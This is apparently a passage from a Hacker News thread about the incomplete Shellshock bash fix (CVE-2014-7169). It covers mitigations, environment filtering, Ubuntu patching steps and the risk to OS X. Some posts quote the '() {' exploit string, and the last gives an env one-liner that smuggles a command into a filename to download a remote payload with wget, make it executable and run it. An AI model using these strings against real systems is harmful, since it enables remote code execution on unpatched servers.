Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

seclists.org

Post reply on HN
Print view View original

191–200 of 226 posts

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#191

Post by dllthomas »

odc wrote: post #106
owenfi wrote: post #88

The exploit worked against my cgi perl scripts as well! I had cgi-bin/update.pl running on OS X and I exploited it as mentioned here: https://twitter.com/hernano/status/514866681530023936 My perl scripts call $out = `git pull`, log to a file, and print a response; I was quite surprised the exploit worked against them. Promptly disabled, upgraded bash, and re-enabled, now disabling all cgi for a bit longer. What are t…

Yes, this exploit can be used on any script or program that uses system(), whatever language you use. Using bash as the default /bin/sh is the real bug here.

"Yes, this exploit can be used on any script or program that uses system(), whatever language you use."

Unless that script or program sanitizes the environment before calling system(). In practice that might not presently be any scripts or programs, but it principle it's a tiny bit weaker than you say.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#192

Post by therealidiot »

schrodingersCat wrote: post #186

A little off topic, but am I still vulnerable? I'm running OSX mavericks 10.9.5, use zsh as my default shell, and have a patched version of bash build from homebrew repo set as secondary in /etc/shells (on the occasion I need bash, I like to have completions). System bash is still vulnerable. With my current configuration, how worried should I be? Any insight is appreciated!

I'm not completely sure, but from what I understand unless you have some cgi shell scripts on a webserver running on your machine (or another way for someone to invoke bash with custom environment vars) I think you're fine.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#193

Post by dspillett »

cesarb wrote: post #150
dspillett wrote: post #141

Earlier quoted context omitted.

The problem is in bash so is potentially exploitable where-ever bash is used, while web servers could try to mitigate it with extra request filtering as an interim measure that may not be 100% effective (it comes down to "enumerating the bad" - how do you make sure you filter out everything that could be a problem without accidentally filtering out something valid, required, and safe?). A malicious user with access t…

Someone else in this discussion mentioned that the badness is the exact four characters "() {" at the start of an environment variable. Filtering out all environment variables starting with these four characters should be 100% effective, and I wouldn't be surprised if Apache, sshd, sudo, dhclient, and others start filtering out values that start with precisely these four characters. I don't think these four character…

But there you are fixing the symptom (the web server issue) not the problem (which lies in bash) so you need that fix everywhere that bash is used and not just in one place (in bash itself).

It could be a useful interim measure for code that implements it, but only if the update gets written, tested, and released before the update to bash is available - and it would weigh down the package maintainers for the distros as they'd have a sudden glut of updates coming downstream for this one issue instead of one update for one package.

People who aren't going to update bash as soon as an update is available aren't going to update everything else (where "everything else" is a set containing at least Apache, probably other web servers, and maybe many other apps) as quickly either - so fixing bash is the best course and the quickest resolution, and changing Apache and friends isn't going to have any benefit: either people update in a timely manner (so the bash fix sorts their problem) or they don't (and no end of updates will solve their problem because they don't have any of them installed).

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#194

Post by Karunamon »

noir_lord wrote: post #176
reedloden wrote: post #93

Earlier quoted context omitted.

I have no interest in paying for Ubuntu Advantage. I would happily pay a reasonable amount for just Landscape, but Canonical doesn't offer that. Get your sales guys to fix that, and you'll end up with a lot more Landscape users. Or better yet, just open source Landscape.

I would also be interested in a landscape only package at a reasonable price.

+1. Landscape has gotten zero serious evaluation at our company completely because of their heavy-handed pricing arrangement.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#195

Post by danielweber »

bodyfour wrote: post #78
bodyfour wrote: post #20

Earlier quoted context omitted.

That was one of my first thoughts as well. There is way too much code that's being exposed here. This will be a gift that keeps on giving. For people who want to do environment sanitation, do we know what values can trigger this 'feature'? Is it only "()" as the first two characters? First two non-whitespace characters?

Answering my own question, since I got curious enough to look a the source: if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) So it has to start with that four character sequence exactly. I hope there are patches to webservers, sshd, etc to cleanse environment variables with that value. Even if bash is fixed, it is too risky to send untrusted strings to its parser.

You are describing blacklisting known bad values.

() {

()+{

Would those make it through? I don't know, neither does the person writing the WAF.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#196

Post by Karunamon »

atmosx wrote: post #74
rcthompson wrote: post #63

I run an Ubuntu server in my closet as a general-purpose file server and such, mostly just for my own use or for sending files to friends. I have just turned it off and disabled all port forwards to it, and I will wait at least a few days and check for a more definitive fix before opening it back up to the internet. I recommend anyone in a similar situation do the same.

Why? Why don't you uninstall bash all-together? Most programs should be using '/bin/sh' and not bash.(IIRC Linux might have symlink between the two, which is awful) You could install zsh. You could add further security layers, harden your network-level access, monitor your logs and so forth. Security is a set of policies. If you think that there are users who have unauthorized access to your system or you run bash-en…

>Most programs should be using '/bin/sh' and not bash.

Why? There are some non-trivial things that you can do in bash but not sh (or dash)[1]. Remaining POSIX compatible by way of never adding additional features seems like a great way to never make any forward progress.

[1]: http://mywiki.wooledge.org/Bashism

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#197

Post by makmanalp »

mdeslaur wrote: post #82

Proposed patch for CVE-2014-7169 here: http://www.openwall.com/lists/oss-security/2014/09/25/10 I am building bash updates for Ubuntu containing the proposed fix here and will publish them once the fix has been made official: https://launchpad.net/~ubuntu-security-proposed/+archive/ubu...

Steps to get the partial patch on ubuntu:

  sudo add-apt-repository ppa:ubuntu-security-proposed/ppa
  sudo apt-get update
  sudo apt-get upgrade
unattended auto upgrades from that PPA:

  sudo apt-get install unattended-upgrades
  dpkg-reconfigure unattended-upgrades
then go to /etc/apt/apt.conf.d/50unattended-upgrades and add a line to allowed-origins that looks like

  "LP-PPA-ubuntu-security-proposed:precise"
Also make sure distro-codename-security is uncommented, and comment out the -updates one if you want. Then do this to make sure it all works:

  sudo unattended-upgrades --dry-run --debug

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#199

Post by skuhn »

bodyfour wrote: post #79
skuhn wrote: post #57

Earlier quoted context omitted.

They won't have to backport the fix, there is a patch directly against bash-3.2 (which ships in OSX): http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 They do update bash occasionally, even though it is trapped forever in a pre-GPLv3 world: http://www.opensource.apple.com/source/bash/ . For instance, bash-86.1 shipped in 10.8 and bash-92 shipped in 10.9. I don't know if they will hop right on this (and per…

OS/X does use bash as /bin/sh unfortunately so it is fairly vulnerable. Probably most people won't be affected though since there aren't many good attack vectors against a client machine, and not many people are still using macs for servers. I don't think that the issue is overblown at all though. CGI is old and crusty but it's sitting in all sorts of random places. All you need to do is to find a script that will ca…

bash on OSX is vulnerable, but as you say, there are few attack vectors. A client OSX machine with a stock config is not vulnerable. At a minimum, you have to enable a network service like printer sharing (CUPS), remote login (ssh), web sharing (Apache).

Then you have to configure the service in such a way to actually be vulnerable, and these are not commonly configured options.

The attacker also has to have a local privilege escalation vulnerability to exploit as well, or they're trapped as the CUPS user once they do bust in.

I don't think that the level of panic I have seen on other Hacker News threads and elsewhere on the Internet is warranted. Comparing this to Heartbleed is pretty absurd; TLS vs bash CGI is no contest in terms of deployment size.

I'm mainly concerned with public-facing, large scale web services, and in that area:

1. CGI in general and bash CGI in particular are basically unheard of.

2. system() in other scripting languages might be used, BUT to be vulnerable you have to pass through user-supplied data as environment variables without sanitizing. This was always an exploit waiting to happen.

3. ssh accounts with a command forced in authorized_keys are potentially problematic, but this would only be from users who have some relationship to your service in the first place. Personally I think a restricted shell (rsh or git-shell or whatever) is a more common option, simply because who knows what bash might get up to.

4. DHCP client scripts on Linux is an interesting exploit path, and might be a problem for laptops on shared wifi, but for the majority of Linux servers there is no attack vector. They live on controlled networks where rogue DHCP servers can't be operated.

So yes, patch the vulnerability and audit your systems and code. Also keep the response proportional to the vulnerability, this one needs a lot of other things to fall into place to be exploited.

Re: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable

#200

Post by colanderman »

jimrandomh wrote: post #7

With the patched bash, if you run env X='() { (a)=>\' sh -c "echo date" This is equivalent to running date >echo That is, you can put something in the environment which causes it to drop the first token, run the result as a command, and redirect the result to the dropped first token. An example of a context where this would be exploitable, is a CGI webapp which accepts an uploaded zip file, stores it in a FAT filesys…

You don't even need FAT if the CGI script doesn't properly escape spaces in filenames. e.g.:

    env X='() { (a)=>\' sh -c "unzip wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax"
(the "filename" here being "wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax")
Post reply on HN